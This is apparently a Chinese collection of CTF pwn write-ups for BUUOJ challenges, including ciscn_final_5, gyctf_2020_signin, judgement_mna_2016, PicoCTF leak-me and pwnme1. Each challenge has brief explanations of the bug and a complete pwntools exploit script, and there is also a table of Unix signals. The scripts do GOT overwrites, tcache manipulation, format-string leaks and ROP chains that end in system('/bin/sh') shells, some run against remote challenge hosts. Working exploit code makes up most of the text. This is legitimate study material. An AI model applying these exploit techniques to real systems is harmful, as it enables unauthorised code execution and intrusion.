有趣的题目
涉及位级操作
漏洞的关键是index为16时,二进制为1 0000
edit
他们都是认heap_ptr里最后一个16进制来判断他是index几的,index1最后一位就是1,2就是2,8就是8,4就是4,但问题是他存储是按照你申请的顺序存的,和这个index没啥关系,漏洞就来了
这题很明显是要你改got表
没有show,就把free改成puts来泄漏
exp:
from pwn import *
from LibcSearcher import *
local_file = './ciscn_final_5'
local_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
remote_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 25581)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g = [0x4f2c5, 0x4f322, 0x10a38c]
def debug(cmd=''):
gdb.attach(r,cmd)
def menu(choice):
sea('your choice: ', str(choice))
def add(index, size, content):
menu(1)
sea('index: ', str(index))
sea('size: ', str(size))
sea('content:', content)
def free(index):
menu(2)
sea('index: ', str(index))
def edit(index, content):
menu(3)
sea('index: ', str(index))
sea('content: ', content)
free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
add(16,0x10,p64(0)+p64(0x90))
#在这里伪造一个size,因为index16,他会把这个size当做chunk0来free,这样size就错乱了
add(1, 0xc0, 'aa\n')
free(0)
free(1)
add(2, 0x80, p64(0)+p64(0x21)+p64(0x6020E0))
#用到了前面0x90
add(3, 0xc0, 'aaa\n')
add(4, 0xc0, p64(free_got)+p64(puts_got+1)+p64(atoi_got-4)+p64(0)*17+p32(0x10)*8)
#+1 -4都是为了迎合index
edit(8,p64(puts_plt)*2)
#为什么是8?因为free_got末尾是8,会判断为index8
free(1)
#拿到puts的libc
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['puts']
info('libc_base', libc_base)
system = libc_base + libc.sym['system']
edit(4, p64(system)*2)
#改atoi为system
sl('/bin/sh\x00')
r.interactive()
gyctf_2020_signin
calloc有以下几个特性:
分配前会进行清0
不会分配tcache中的chunk
在分配fastbin中的chunk时若还有其他大小相同的fastbin_chunk则把它们全部放入tcache中
本题的后门只要ptr不为0就可以触发,并且后门前有个calloc,那就可以利用整理机制来进行填充
并且这题有uaf的漏洞
exp:
from pwn import *
from LibcSearcher import *
local_file = './gyctf_2020_signin'
local_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
remote_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('', )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
def add(index):
r.sendlineafter('your choice?', '1')
r.sendlineafter('idx?\n', str(index))
def edit(index, content):
r.sendlineafter('your choice?', '2')
r.sendlineafter('idx?\n', str(index))
r.send(content)
def free(index):
r.sendlineafter('your choice?', '3')
r.sendlineafter('idx?\n', str(index))
flags = 0x404160
ptr = 0x4040C0
for i in range(8):
add(i)
for i in range(8):
free(i)
add(8)
p = p64(0x4040c0-0x10).ljust(0x50, '\x00')
edit(7, p)
#debug()
sl('6')
r.interactive()
简单的格式化字符串
exp:
from pwn import *
from LibcSearcher import *
local_file = './judgement_mna_2016'
local_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
select = 1
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 25192)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
sl('%32$s')
r.interactive()
利用stack的相连,然后puts遇到\x00才会截断,来leak
fgets和gets都会末尾+\0
exp:
from pwn import *
from LibcSearcher import *
local_file = './PicoCTF_2018_leak-me'
local_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
select = 0
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 28300)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
sl('a'*250)
ru('Plea')
passwd = rl()
print "passwd:\t"+passwd
sl(str(passwd))
r.interactive()
两种方法,一种是触发内存错误11,来获得flag
第二种是栈溢出,puts flag
Signal Description
SIGABRT 由调用abort函数产生,进程非正常退出
SIGALRM 用alarm函数设置的timer超时或setitimer函数设置的interval timer超时
SIGBUS 某种特定的硬件异常,通常由内存访问引起
SIGCANCEL 由Solaris Thread Library内部使用,通常不会使用
SIGCHLD 进程Terminate或Stop的时候,SIGCHLD会发送给它的父进程。缺省情况下该Signal会被忽略
SIGCONT 当被stop的进程恢复运行的时候,自动发送
SIGEMT 和实现相关的硬件异常
SIGFPE 数学相关的异常,如被0除,浮点溢出,等等
SIGFREEZE Solaris专用,Hiberate或者Suspended时候发送
SIGHUP 发送给具有Terminal的Controlling Process,当terminal被disconnect时候发送
SIGILL 非法指令异常
SIGINFO BSD signal。由Status Key产生,通常是CTRL+T。发送给所有Foreground Group的进程
SIGINT 由Interrupt Key产生,通常是CTRL+C或者DELETE。发送给所有ForeGround Group的进程
SIGIO 异步IO事件
SIGIOT 实现相关的硬件异常,一般对应SIGABRT
SIGKILL 无法处理和忽略。中止某个进程
SIGLWP 由Solaris Thread Libray内部使用
SIGPIPE 在reader中止之后写Pipe的时候发送
SIGPOLL 当某个事件发送给Pollable Device的时候发送
SIGPROF Setitimer指定的Profiling Interval Timer所产生
SIGPWR 和系统相关。和UPS相关。
SIGQUIT 输入Quit Key的时候(CTRL+\)发送给所有Foreground Group的进程
SIGSEGV 非法内存访问
SIGSTKFLT Linux专用,数学协处理器的栈异常
SIGSTOP 中止进程。无法处理和忽略。
SIGSYS 非法系统调用
SIGTERM 请求中止进程,kill命令缺省发送
SIGTHAW Solaris专用,从Suspend恢复时候发送
SIGTRAP 实现相关的硬件异常。一般是调试异常
SIGTSTP Suspend Key,一般是Ctrl+Z。发送给所有Foreground Group的进程
SIGTTIN 当Background Group的进程尝试读取Terminal的时候发送
SIGTTOU 当Background Group的进程尝试写Terminal的时候发送
SIGURG 当out-of-band data接收的时候可能发送
SIGUSR1 用户自定义signal 1
SIGUSR2 用户自定义signal 2
SIGVTALRM setitimer函数设置的Virtual Interval Timer超时的时候
SIGWAITING Solaris Thread Library内部实现专用
SIGWINCH 当Terminal的窗口大小改变的时候,发送给Foreground Group的所有进程
SIGXCPU 当CPU时间限制超时的时候
SIGXFSZ 进程超过文件大小限制
SIGXRES Solaris专用,进程超过资源限制的时候发送
from pwn import *
elf = ELF('./vuln')
p = 'a'*0x18+'b'*4+p32(elf.plt['puts'])+p32(0x0804A080)
print p
r = process(argv=["./vuln" , p])
r.interactive()
由于buu没有/home的环境,所以后门无法利用
exp:
from pwn import *
from LibcSearcher import *
local_file = './pwnme1'
local_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
select = 1
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn',26689)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
'''
flag = 0x8048677
p = 'a'*0xa4+'b'*4+p32(flag)
sl('5')
sla('Please input the name of fruit:',p)
'''
fun_got = elf.got['puts']
fun_plt = elf.plt['puts']
main = elf.sym['main']
p1 = flat(['a'*0xa4, 'b'*4, fun_plt, main, fun_got])
sl('5')
sl(p1)
#log.info(rl())
fun_addr = uu32(ru('\xf7')[-4:])
#fun_addr = uu32(rc(4))
info('fun_addr', fun_addr)
libc = LibcSearcher('puts', fun_addr)
libcbase = fun_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
p2 = flat(['a'*0xa4, 'b'*4, system_addr, 'b'*4, binsh_addr])
sl('5')
sl(p2)
r.interactive()